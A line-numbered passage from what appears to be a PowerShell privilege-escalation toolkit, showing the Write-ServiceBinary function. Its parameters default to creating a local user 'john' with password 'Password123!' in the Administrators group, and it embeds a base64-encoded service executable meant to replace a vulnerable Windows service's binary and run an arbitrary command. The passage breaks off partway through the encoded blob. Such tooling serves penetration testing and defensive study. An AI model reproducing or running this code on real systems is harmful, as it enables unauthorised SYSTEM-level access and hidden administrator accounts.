1947 PS C:\> Write-ServiceBinary -Name VulnSVC -Command "net ..."
1948
1949 Writes a service binary to service.exe in the local directory for VulnSVC that
1950 executes a custom command.
1951#>
1952
1953 Param(
1954 [Parameter(Position=0, Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
1955 [Alias('ServiceName')]
1956 [String]
1957 [ValidateNotNullOrEmpty()]
1958 $Name,
1959
1960 [String]
1961 $UserName = 'john',
1962
1963 [String]
1964 $Password = 'Password123!',
1965
1966 [String]
1967 $LocalGroup = 'Administrators',
1968
1969 [Management.Automation.PSCredential]
1970 $Credential,
1971
1972 [String]
1973 [ValidateNotNullOrEmpty()]
1974 $Command,
1975
1976 [String]
1977 $Path = "$(Convert-Path .)\service.exe"
1978 )
1979
1980 BEGIN {
1981 # the raw unpatched service binary
1982 $B64Binary = "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UmVmbGVjdGlvbgBBc3NlbWJseVRpdGxlQXR0cmlidXRlAEFzc2VtYmx5RGVzY3JpcHRpb25BdHRyaWJ1dGUAQXNzZW1ibHlDb25maWd1cmF0aW9uQXR0cmlidXRlAEFzc2VtYmx5Q29tcGFueUF0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb3B5cmlnaHRBdHRyaWJ1dGUAQXNzZW1ibHlUcmFkZW1hcmtBdHRyaWJ1dGUAQXNzZW1ibHlDdWx0dXJlQXR0cmlidXRlAFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcwBDb21WaXNpYmxlQXR0cmlidXRlAEd1aWRBdHRyaWJ1dGUAQXNzZW1ibHlWZXJzaW9uQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAU3lzdGVtLlJ1bnRpbWUuVmVyc2lvbmluZwBUYXJnZXRGcmFtZXdvcmtBdHRyaWJ1dGUAU3lzdGVtLkRpYWdub3N0aWNzAERlYnVnZ2FibGVBdHRyaWJ1dGUARGVidWdnaW5nTW9kZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAElEaXNwb3NhYmxlAENvbnRhaW5lcgBTdHJpbmcAVHJpbQBzZXRfU2VydmljZU5hbWUAUHJvY2VzcwBTdGFydABTeXN0ZW0uVGhyZWFkaW5nAFRocmVhZABTbGVlcABFbnZpcm9ubWVudABFeGl0AFJ1bgAARUEAQQBBACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAAL/3LwBDACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIA